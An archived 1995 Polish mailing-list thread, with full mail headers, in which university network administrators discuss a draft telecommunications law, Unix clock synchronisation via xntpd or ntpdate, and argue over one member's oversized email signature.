: czytanie w Sejmie. Wtedy Sejm zapewne przekaze go do komisji sejmowej
: w celu dalszych prac. Wtedy trzeba zdobyc projekt i - jesli nie
: przyniesie satysfakcjonujacych rozwiazan w dziedzinie sieci - wywrzec
: presje na lokalnych poslow, argumentujac nasze stanowisko i cele.

Hm... ilu poslow w ogole wie, co to jest siec komputerowa?

A ilu z nich chcialo by to wiedziec?

A ilu przejmuje sie choc troche tym, co im napiszesz Ty czy inny wyborca...

eh... tu nie USA...

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From muhlig@usctoux1.cto.us.edu.pl Fri Jan 13 14:47:47 1995
Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA10429; Fri, 13 Jan 95 14:47:12 +0100
Return-Path: <muhlig@usctoux1.cto.us.edu.pl>
Subject: Re: Ustawa o lacznosci (nowa) Bylo Re: Siec Optimusa?
To: polip@zsku.p.lodz.pl
Date: Fri, 13 Jan 1995 14:50:59 -0100 (MET)
From: Maciek Uhlig <muhlig@usctoux1.cto.us.edu.pl>
In-Reply-To: <3f5sa2$pqh@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 13, 95 02:33:39 pm
X-Mailer: ELM [version 2.4 PL23~]
Content-Type: text
Content-Length: 909       
Message-Id:  <9501131451.aa20873@usctoux1.cto.us.edu.pl>

Andrzej K. Brandt wrote:

> Hm... ilu poslow w ogole wie, co to jest siec komputerowa?
> A ilu z nich chcialo by to wiedziec?
> A ilu przejmuje sie choc troche tym, co im napiszesz Ty czy inny wyborca...

No, zaraz... mamy w Polsce ponad 8000 maszyn w sieci. A uzytkownikow
Internetu... no, moze ze 100.000. Niezle miasto ze swoimi problemami.
Moze kazdy z nas poszuka w poblizu swojego posla i porozmawia z nim
choc kwadransik :-)? A przejmowac sie moga zaczac rychlo, bo wybory
sie zblizaja.

Maciek Uhlig

----------------------------------------------------------------------
Maciej UHLIG, Computer Center, Silesian University
                          Uniwersytecka 4 St., 40-007 KATOWICE, POLAND
Internet: muhlig@usctoux1.cto.us.edu.pl  Voice: +48 (32) 588211 (1768)
                                         Fax:   +48 (32) 596847 
***** Imagine all the people sharing all the world (John Lennon) *****
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 13 17:05:13 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12763; Fri, 13 Jan 95 17:05:04 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA20798 for polip@zsku.p.lodz.pl; Fri, 13 Jan 1995 16:48:59 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 13 Jan 1995 15:43:45 GMT
From: mark@i17unixb.ists.pwr.wroc.pl (Marek Kuchciak)
Message-Id: <3f673h$4p4@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501131451.aa20873@usctoux1.cto.us.edu.pl>
Subject: Re: Ustawa o lacznosci (nowa) Bylo Re: Siec Optimusa?

Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote:
: No, zaraz... mamy w Polsce ponad 8000 maszyn w sieci. A uzytkownikow
: Internetu... no, moze ze 100.000. Niezle miasto ze swoimi problemami.

Chyba tylko pod warunkiem, ze przez uzytkownika Internetu rozumiesz osobe
posiadajaca konto na maszynie wlaczonej do sieci. Wedlug mnie ta pierwsza
grupa jest tylko bardzo malym podzbiorem tej drugiej. Policz sobie 
chociazby ilu ludzi w ciagu miesiaca pisze cos na ktoras z polskich grup
newsow. Nawet jesli przyjac, ze liczba czytajacych to jest kilkukrotnie
wieksza, to i tak jest to stosunkowo niewielka grupa w skali calego kraju.
No... moze troche przegialem, bo przeciez duzo ludzi uzywa tylko e-mail, ale
sadze, ze nawet gdybys zsumowal wszystkich ludzi korzystajacych z poczty,
ftp, irc, www itd., to i tak daleko Ci bedzie do 100.000.
Marek.
 ..........
 :  ^^^^  :  Marek Kuchciak (e-mail: mark@ub.ists.pwr.wroc.pl)
 : -<><>- :  http://   (under construction)
 :   ==   :  Software Engineering at
 :........:  Technical University of Wroclaw, Poland
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 13 21:47:48 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15902; Fri, 13 Jan 95 21:43:39 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA26015 for polip@zsku.p.lodz.pl; Fri, 13 Jan 1995 21:38:59 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 13 Jan 1995 21:36:45 +0100
From: ser@sun1000.ci.pwr.wroc.pl (S. Pawlowicz)
Message-Id: <3f6o8t$jjd@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: Regulowanie czasu

Pytanie: Czym reguluja Panstwo czas na swoich maszynach unixowych?

Uszczegolowienie pytania: Jakich programow uzywaja Panstwo do korelacji
czasow swych komputerow? Wedlug jakich komputerow? Czy gra role
opoznienie sieci wobec USA (sa tam dobre serwery czasu)?
Czy w Polsce jest jakis pewny
serwer czasu? Inne sugestie.

Prosze o odpowiedzi na podany nizej adres, przesle na liste summary.

Dziekuje i pozdrawiam -
Sergiusz Pawlowicz, Politechnika Wroclawska
ser@pwr.wroc.pl
From news.polip@cyber.ict.pwr.wroc.pl Sat Jan 14 11:25:51 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04068; Sat, 14 Jan 95 11:22:32 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id LAA07144 for polip@zsku.p.lodz.pl; Sat, 14 Jan 1995 11:20:44 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 14 Jan 1995 11:09:27 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3f87sn$6bk@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3f6o8t$jjd@sun1000.ci.pwr.wroc.pl>
Subject: Re: Regulowanie czasu

S. Pawlowicz (ser@sun1000.ci.pwr.wroc.pl) wrote:
: Pytanie: Czym reguluja Panstwo czas na swoich maszynach unixowych?

Wg hejnalu z Wiezy Mariackiej :-)
Czy naprawde jest sens ustawiac zegar systemowy z dokladnoscia do sekund,
jesli "drift" na moim Sunie wynosi nawet do 20s dziennie?
--
                        Szymon Sokol -- Network Manager
U     U M     M M     M University of Mining and Metallurgy, Computer Center
U     U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U     U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUUU  M  M  M M  M  M finger szymon@galaxy.uci.agh.edu.pl for PGP key
                        WWW page: http://www.uci.agh.edu.pl/~szymon/
From krzysio@hebe.umcs.lublin.pl Sat Jan 14 11:55:51 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA05128; Sat, 14 Jan 95 11:55:11 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI)
	for polip@zsku.p.lodz.pl id AA26889; Sat, 14 Jan 95 11:56:53 +0100
From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski)
Message-Id: <9501141056.AA26889@hebe.umcs.lublin.pl>
Subject: Re: Regulowanie czasu
To: polip@zsku.p.lodz.pl
Date: Sat, 14 Jan 1995 11:56:53 +0100 (MET)
In-Reply-To: <3f87sn$6bk@galaxy.uci.agh.edu.pl> from "Szymon Sokol" at Jan 14, 95 11:29:49 am
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1796      

Szymon Sokol wrote:
> 
> S. Pawlowicz (ser@sun1000.ci.pwr.wroc.pl) wrote:
> : Pytanie: Czym reguluja Panstwo czas na swoich maszynach unixowych?
> 
> Wg hejnalu z Wiezy Mariackiej :-)
> Czy naprawde jest sens ustawiac zegar systemowy z dokladnoscia do sekund,
> jesli "drift" na moim Sunie wynosi nawet do 20s dziennie?

Hehehe... a ja odpisalem, ze wg. mojego zegarka :))))
(W Lublinie nie mamy Wiezy Mariackiej).

Wydaje mi sie, ze taka synchronizacja czasu jeszcze dlugo nie
bedzie u nas mozliwa z dwoch przyczyn:

- braku precyzyjnych zrodel czasu w sieci w *.pl (przynajmniej
nic mi o takowych nie wiadomo),
- szybkosci i przepustowosci sieci (nie ma jeszcze powszechnie
laczy 115Mb). :)

					Pozdrawiam,
					  -Krzysio
--
+--------------------------------------------------------------------+
| E-mail:                                         IRC:               |
| krzysio@hebe.umcs.lublin.pl                         Krzysio        |
| krzysio@eleet.mimuw.edu.pl                                         |
| krzysio@posejdon.kul.lublin.pl                                     |
| krzysio@achir.kul.lublin.pl                                        |
| krzysio@adam.kul.lublin.pl                                         |
| krzysio@laplace.informatics.sunysb.edu          Radio:             |
| root@hebe.umcs.lublin.pl                            SQ5ASM         |
| root@cool.umcs.lublin.pl                                           |
| root@posejdon.kul.lublin.pl                                        |
|                                                                    |
|     "You can't kill ... what was killed before ..."                |
|                                     - unknown vampire              |
+--------------------------------------------------------------------+


From chris@highresnmr.biophys.upenn.edu Sat Jan 14 17:45:53 1995
Received: from NOC4.DCCS.UPENN.EDU by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09572; Sat, 14 Jan 95 17:45:15 +0100
Received: from HIGHRESNMR.BIOPHYS.UPENN.EDU by noc4.dccs.upenn.edu
	id AA27033; Sat, 14 Jan 95 11:47:22 -0500
Return-Path: <chris@highresnmr.biophys.upenn.edu>
Received: by highresnmr.biophys.upenn.edu
	id AA15953; Sat, 14 Jan 95 11:40:11 EST
Date: Sat, 14 Jan 95 11:40:11 EST
From: chris@highresnmr.biophys.upenn.edu (Krzysztof Wroblewski)
Posted-Date: Sat, 14 Jan 95 11:40:11 EST
Message-Id: <9501141640.AA15953@highresnmr.biophys.upenn.edu>
To: polip@zsku.p.lodz.pl
Subject: Re: Regulowanie czasu

>jezeli "drift" na moim Sunie wunosi nawet do 20s dziennie?

To czemu go nie skorygujesz? Jest mozliwosc takiej automatycznej korekcjii.
W tej chwili nie pamietam dokladnie jak sie to robi (robilem to cztery lata temu)
i nadal dziala) ale moge poszukac.
Krzysztof Wroblewski
From news.polip@cyber.ict.pwr.wroc.pl Sat Jan 14 22:45:55 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12914; Sat, 14 Jan 95 22:42:24 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id WAA16394 for polip@zsku.p.lodz.pl; Sat, 14 Jan 1995 22:30:46 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 14 Jan 1995 21:20:42 GMT
From: rzm@dain.erlm.siemens.de (Rafal Maszkowski)
Message-Id: <3f9f7a$ng4@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3f6o8t$jjd@sun1000.ci.pwr.wroc.pl>, <3f87sn$6bk@galaxy.uci.agh.edu.pl>
Subject: Re: Regulowanie czasu

Szymon Sokol (szymon@uci.agh.edu.pl) wrote:
> S. Pawlowicz (ser@sun1000.ci.pwr.wroc.pl) wrote:
> : Pytanie: Czym reguluja Panstwo czas na swoich maszynach unixowych?
> Wg hejnalu z Wiezy Mariackiej :-)
> Czy naprawde jest sens ustawiac zegar systemowy z dokladnoscia do sekund,
> jesli "drift" na moim Sunie wynosi nawet do 20s dziennie?

To tym bardziej potrzebujesz go ustawiac. Pusc xntpd lub ntpdate (to drugie
z crona raz na godzine).

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From RAJ@inf.wsp.krakow.pl Sun Jan 15 07:41:42 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA02016; Sun, 15 Jan 95 07:40:24 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id HAA14695 for <polip@zsku.p.lodz.pl>; Sun, 15 Jan 1995 07:45:35 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Sun, 15 Jan 95 7:39:48 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Sun, 15 Jan 95 7:39:48 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Sun, 15 Jan 1995 07:39:40 GMT+0100
Subject:       Ustawianie czasu
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <339441C6@inf.wsp.krakow.pl>

Jestem bardzo poczatkujacy jezeli chodzi o administrowanie Unixem, dlatego 
wybaczcie moze glupie pytanie. Ale jaki jest sens takiego super dokladnego 
synchronizowania czasu, o jakim tutaj koledzy pisali? Ja wiem, ze cos takiego 
mozna zrobic, i nawet z grubsza wiem jak, tylko nie wiem, po co. Prosze o 
objasnienie.
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From news.polip@cyber.ict.pwr.wroc.pl Sun Jan 15 15:46:43 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06415; Sun, 15 Jan 95 15:42:08 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA29847 for polip@zsku.p.lodz.pl; Sun, 15 Jan 1995 15:41:42 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 15 Jan 1995 09:32:02 -0500
From: zbig@junior.wariat.org (Zbigniew J. Tyrlik)
Message-Id: <3fbbl2$alo@junior.wariat.org>
Organization: Akademia Pana Kleksa, Public Access Uni* Site
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <339441C6@inf.wsp.krakow.pl>
Subject: Re: Ustawianie czasu

In <339441C6@inf.wsp.krakow.pl> RAJ@inf.wsp.krakow.pl (Jaroslaw Rafa) writes:

>Jestem bardzo poczatkujacy jezeli chodzi o administrowanie Unixem, dlatego 
>wybaczcie moze glupie pytanie. Ale jaki jest sens takiego super dokladnego 
>synchronizowania czasu, o jakim tutaj koledzy pisali? Ja wiem, ze cos takiego 
>mozna zrobic, i nawet z grubsza wiem jak, tylko nie wiem, po co. Prosze o 
>objasnienie.

	1) bo mozna :-) 
	2) zeby uniknac potem szoku ze poczta doszla przed
wyslaniem.. 
	3) bardzo pomocne jak szukasz sladow klopotow.. 
	4) niektore systemy hasel i kontroli dostepu sa oparte na 
	sychronizacji zegarow; system otwiera dostep na krotki
czas, i jezeli pakiety przychodza ze stemplem czasowym z
przyszlosi, to kaszanka.. 

>Pozdrowienia,
>   Jaroslaw Rafa
>   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl

_zjt ( wannabe in training )
-- 
Zbigniew J. Tyrlik  DoD# 0759  FJ1200 `89-Silver...  zbig@wariat.org
APK on the move    	   New Phone - 216-241-7541 active Jan 09.95
Feeds, shell, FTP, telnet, SL/IP,PPP     Uniboard distribution point 
From krzysio@hebe.umcs.lublin.pl Sun Jan 15 19:41:45 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09058; Sun, 15 Jan 95 19:37:08 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI)
	for polip@zsku.p.lodz.pl id AA00044; Sun, 15 Jan 95 19:39:17 +0100
From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski)
Message-Id: <9501151839.AA00044@hebe.umcs.lublin.pl>
Subject: Re: Ustawianie czasu
To: polip@zsku.p.lodz.pl
Date: Sun, 15 Jan 1995 19:39:17 +0100 (MET)
In-Reply-To: <3fbbl2$alo@junior.wariat.org> from "Zbigniew J. Tyrlik" at Jan 15, 95 03:50:02 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 2108      

Zbigniew J. Tyrlik wrote:
> 
> In <339441C6@inf.wsp.krakow.pl> RAJ@inf.wsp.krakow.pl (Jaroslaw Rafa) writes:
> 
> >Jestem bardzo poczatkujacy jezeli chodzi o administrowanie Unixem, dlatego 
> >wybaczcie moze glupie pytanie. Ale jaki jest sens takiego super dokladnego 
> >synchronizowania czasu, o jakim tutaj koledzy pisali? Ja wiem, ze cos takiego 
> >mozna zrobic, i nawet z grubsza wiem jak, tylko nie wiem, po co. Prosze o 
> >objasnienie.
> 
> 	1) bo mozna :-) 
> 	2) zeby uniknac potem szoku ze poczta doszla przed
> wyslaniem.. 
> 	3) bardzo pomocne jak szukasz sladow klopotow.. 
> 	4) niektore systemy hasel i kontroli dostepu sa oparte na 
> 	sychronizacji zegarow; system otwiera dostep na krotki
> czas, i jezeli pakiety przychodza ze stemplem czasowym z
> przyszlosi, to kaszanka.. 
> 
Hmmm... bardzo cool, tylko czy w *.pl jest choc jeden system w sieci
korzystajacy z powyzszych??? (Ma sie rozumiec z wyjatkiem punktu:
"2) zeby uniknac potem szoku ze poczta doszla przed wyslaniem.."

						Pozdrawiam,
						    -Krzysio
--
+--------------------------------------------------------------------+
| E-mail:                                         IRC:               |
| krzysio@hebe.umcs.lublin.pl                         Krzysio        |
| krzysio@eleet.mimuw.edu.pl                                         |
| krzysio@posejdon.kul.lublin.pl                                     |
| krzysio@achir.kul.lublin.pl                                        |
| krzysio@adam.kul.lublin.pl                                         |
| krzysio@laplace.informatics.sunysb.edu          Radio:             |
| root@hebe.umcs.lublin.pl                            SQ5ASM         |
| root@cool.umcs.lublin.pl                                           |
| root@posejdon.kul.lublin.pl                                        |
|                                                                    |
|     "You can't kill ... what was killed before ..."                |
|                                     - unknown vampire              |
+--------------------------------------------------------------------+


From Janusz.Kaczmarek@CS.PUT.Poznan.PL Sun Jan 15 21:06:46 1995
Received: from zeus.sc.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA10527; Sun, 15 Jan 95 21:05:46 +0100
Return-Path: <Janusz.Kaczmarek@CS.PUT.Poznan.PL>
Received: by zeus.sc.cs.put.poznan.pl (5.0/SMI-SVR4)
	id AA01696; Sun, 15 Jan 1995 21:07:52 --100
Date: Sun, 15 Jan 1995 21:07:52 --100
From: Janusz.Kaczmarek@CS.PUT.Poznan.PL (Janusz Kaczmarek)
Message-Id: <9501152007.AA01696@zeus.sc.cs.put.poznan.pl>
To: polip@zsku.p.lodz.pl
Subject: Re: Ustawianie czasu - nie na temat
X-Sun-Charset: US-ASCII
Content-Length: 1204

> 						Pozdrawiam,
> 						    -Krzysio
> --
> +--------------------------------------------------------------------+
> | E-mail:                                         IRC:               |
> | krzysio@hebe.umcs.lublin.pl                         Krzysio        |
> | krzysio@eleet.mimuw.edu.pl                                         |
> | krzysio@posejdon.kul.lublin.pl                                     |
> | krzysio@achir.kul.lublin.pl                                        |
> | krzysio@adam.kul.lublin.pl                                         |
> | krzysio@laplace.informatics.sunysb.edu          Radio:             |
> | root@hebe.umcs.lublin.pl                            SQ5ASM         |
> | root@cool.umcs.lublin.pl                                           |
> | root@posejdon.kul.lublin.pl                                        |
> |                                                                    |
> |     "You can't kill ... what was killed before ..."                |
> |                                     - unknown vampire              |
> +--------------------------------------------------------------------+

Niezla kolekcja - jestem pod wrazeniem ;-)

Janusz Kaczmarek

From myszka@norka.immt.pwr.wroc.pl Sun Jan 15 22:11:46 1995
Received: from ldhpux.immt.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA11628; Sun, 15 Jan 95 22:08:28 +0100
Return-Path: <myszka@norka.immt.pwr.wroc.pl>
Received: from ldscoux.immt.pwr.wroc.pl by ldhpux.immt.pwr.wroc.pl with SMTP
	(1.36.108.7/16.2) id AA01513; Sun, 15 Jan 1995 22:11:02 +0100
Received: from norka.immt.pwr.wroc.pl by ldscoux.immt.pwr.wroc.pl
	id aa06757; Sun, 15 Jan 95 22:11:01 MET
Received:  by norka.immt.pwr.wroc.pl (UUPC/extended 1.12k);
           Sun, 15 Jan 1995 22:05:21 +0100
Message-Id: <2f198e11.norka@norka.immt.pwr.wroc.pl>
Date: Sun, 15 Jan 95 22:05:18 MET
From: Wojciech Myszka <myszka@norka.immt.pwr.wroc.pl>
To: polip@zsku.p.lodz.pl
Subject: Re: Ustawianie czasu
Expires: Sun, 22 Jan 95
X-Mailer: ELM [version IBM-PC v2.1 PL63]

  Jaroslaw Rafa pisal:
>                                Ale jaki jest sens takiego super dokladnego 
> synchronizowania czasu, o jakim tutaj koledzy pisali?
  ---
  Oprocz wszystkich przyczyn, ktore podali inni jest jeszcze jedna:
  kupuje sie komputer (komputery, stacje robocze...) o wartosci co
  najmniej kilku tysiecy $, wlacza do sieci lokalnej, do jakiejs
  sieci miejskiej (kilka mld starych zl) i nastepnie na kilkanastu
  serwerwerach unixowych mamy kilkanascie roznych cazsow. No bo po
  co ma byc jeden?

  Kilku administratorow nie ustawia na swoich serwerach poprawnie
  zmiennej TZ (i ma strefe czasowa jak gdzies w USA). Ktos inny tak
  dlugo nie ustawi poprawnej netmaski i broadcastu jak dlugo mu
  dziala na zlych, bo po co? I mozna tak dalej...

  I wlasnie zeby sie sprzeciwiac takiemu mysleniu - warto sobie
  ,,zrobic'' dokladny czas...

  Pozdrowienia
  Wojtek

-- 
Wojciech A. Myszka                              tel: (+48 71) 51-48-58
                                                54-129 Wroclaw
                                                Drzewieckiego 18/11
From krzysio@hebe.umcs.lublin.pl Sun Jan 15 22:31:46 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12365; Sun, 15 Jan 95 22:30:29 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI)
	for polip@zsku.p.lodz.pl id AA00409; Sun, 15 Jan 95 22:32:41 +0100
From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski)
Message-Id: <9501152132.AA00409@hebe.umcs.lublin.pl>
Subject: Re: Ustawianie czasu - nie na temat
To: polip@zsku.p.lodz.pl
Date: Sun, 15 Jan 1995 22:32:40 +0100 (MET)
In-Reply-To: <9501152007.AA01696@zeus.sc.cs.put.poznan.pl> from "Janusz Kaczmarek" at Jan 15, 95 09:09:38 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1252      

Janusz Kaczmarek wrote:
> 
> Niezla kolekcja - jestem pod wrazeniem ;-)
> 
Ale i tak nie jest pelna ;) 

						Pozdrawiam,
                                                   -Krzysio
--
+--------------------------------------------------------------------+
| E-mail:                                         IRC:               |
| krzysio@hebe.umcs.lublin.pl                         Krzysio        |
| krzysio@eleet.mimuw.edu.pl                                         |
| krzysio@posejdon.kul.lublin.pl                                     |
| krzysio@achir.kul.lublin.pl                                        |
| krzysio@adam.kul.lublin.pl                                         |
| krzysio@laplace.informatics.sunysb.edu          Radio:             |
| root@hebe.umcs.lublin.pl                            SQ5ASM         |
| root@cool.umcs.lublin.pl                                           |
| root@posejdon.kul.lublin.pl                                        |
|                                                                    |
|     "You can't kill ... what was killed before ..."                |
|                                     - unknown vampire              |
+--------------------------------------------------------------------+


From lbs@phys.ufl.edu Sun Jan 15 23:05:08 1995
Received: from neptune-gw.phys.ufl.edu by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA13194; Sun, 15 Jan 95 23:03:39 +0100
Return-Path: <lbs@phys.ufl.edu>
Received:  by phys.ufl.edu (4.1/5.02)
	id AA18049; Sun, 15 Jan 95 17:06:06 EST
Date: Sun, 15 Jan 95 17:06:06 EST
From: Lech Borkowski <lbs@phys.ufl.edu>
Message-Id: <9501152206.AA18049@phys.ufl.edu>
To: polip@zsku.p.lodz.pl
Subject:  Re: Ustawianie czasu - nie na temat


| krzysio@hebe.umcs.lublin.pl                         Krzysio        
i dalsze adresy...

Ekshibicjonizm sysopa? Daj se spokoj z tym 'fashion statement'.

Lech Borkowski
From krzysio@hebe.umcs.lublin.pl Sun Jan 15 23:50:11 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA14239; Sun, 15 Jan 95 23:49:15 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI)
	for polip@zsku.p.lodz.pl id AA00637; Sun, 15 Jan 95 23:51:28 +0100
From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski)
Message-Id: <9501152251.AA00637@hebe.umcs.lublin.pl>
Subject: Re: Ustawianie czasu - nie na temat
To: polip@zsku.p.lodz.pl
Date: Sun, 15 Jan 1995 23:51:27 +0100 (MET)
In-Reply-To: <9501152206.AA18049@phys.ufl.edu> from "Lech Borkowski" at Jan 15, 95 11:07:57 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1478      

Lech Borkowski wrote:
> 
> 
> | krzysio@hebe.umcs.lublin.pl                         Krzysio        
> i dalsze adresy...
> 
> Ekshibicjonizm sysopa? Daj se spokoj z tym 'fashion statement'.
> 
Zazdrosc czy bezmyslnosc???? :)))

A tak powaznie... MOJ sig jest MOJA prywatna sprawa i byloby milo,
gdybys zajal sie czyms innym... np. odpoczynkiem w tak piekny zimowy
wieczor.

					Pozdrawiam,
					   -Krzysio

--
+--------------------------------------------------------------------+
| E-mail:                                         IRC:               |
| krzysio@hebe.umcs.lublin.pl                         Krzysio        |
| krzysio@eleet.mimuw.edu.pl                                         |
| krzysio@posejdon.kul.lublin.pl                                     |
| krzysio@achir.kul.lublin.pl                                        |
| krzysio@adam.kul.lublin.pl                                         |
| krzysio@laplace.informatics.sunysb.edu          Radio:             |
| root@hebe.umcs.lublin.pl                            SQ5ASM         |
| root@cool.umcs.lublin.pl                                           |
| root@posejdon.kul.lublin.pl                                        |
|                                                                    |
|     "You can't kill ... what was killed before ..."                |
|                                     - unknown vampire              |
+--------------------------------------------------------------------+


From lbs@phys.ufl.edu Mon Jan 16 00:36:47 1995
Received: from neptune-gw.phys.ufl.edu by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15227; Mon, 16 Jan 95 00:35:34 +0100
Return-Path: <lbs@phys.ufl.edu>
Received:  by phys.ufl.edu (4.1/5.02)
	id AA18328; Sun, 15 Jan 95 18:38:05 EST
Date: Sun, 15 Jan 95 18:38:05 EST
From: Lech Borkowski <lbs@phys.ufl.edu>
Message-Id: <9501152338.AA18328@phys.ufl.edu>
To: polip@zsku.p.lodz.pl
Subject: Re: Ustawianie czasu - nie na temat


> | krzysio@hebe.umcs.lublin.pl                         Krzysio         
> i dalsze adresy...
>  
> Ekshibicjonizm sysopa? Daj se spokoj z tym 'fashion statement'.
>  
Zazdrosc czy bezmyslnosc???? :)))

A tak powaznie... MOJ sig jest MOJA prywatna sprawa i byloby milo,
gdybys zajal sie czyms innym... np. odpoczynkiem w tak piekny zimowy
wieczor.

                                        Pozdrawiam,
                                           -Krzysio

---

Estetyka. Piszesz jedna linijke tekstu, a pod nia 10 linijek
adresow. 'smart' to na pewno nie jest.      

Lech Borkowski

From chris@highresnmr.biophys.upenn.edu Mon Jan 16 00:41:47 1995
Received: from NOC4.DCCS.UPENN.EDU by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15269; Mon, 16 Jan 95 00:37:25 +0100
Received: from HIGHRESNMR.BIOPHYS.UPENN.EDU by noc4.dccs.upenn.edu
	id AA17382; Sun, 15 Jan 95 18:39:53 -0500
Return-Path: <chris@highresnmr.biophys.upenn.edu>
Received: by highresnmr.biophys.upenn.edu
	id AA16385; Sun, 15 Jan 95 18:32:39 EST
Date: Sun, 15 Jan 95 18:32:39 EST
From: chris@highresnmr.biophys.upenn.edu (Krzysztof Wroblewski)
Posted-Date: Sun, 15 Jan 95 18:32:39 EST
Message-Id: <9501152332.AA16385@highresnmr.biophys.upenn.edu>
To: polip@zsku.p.lodz.pl
Subject: Re: Ustawianie czasu - nie na temat

>>Niezla kolekcja - jestem pod wrazeniem ;-)
>>
>ale i tak nie jest pelna ;)
>                        Pozdrawiam,
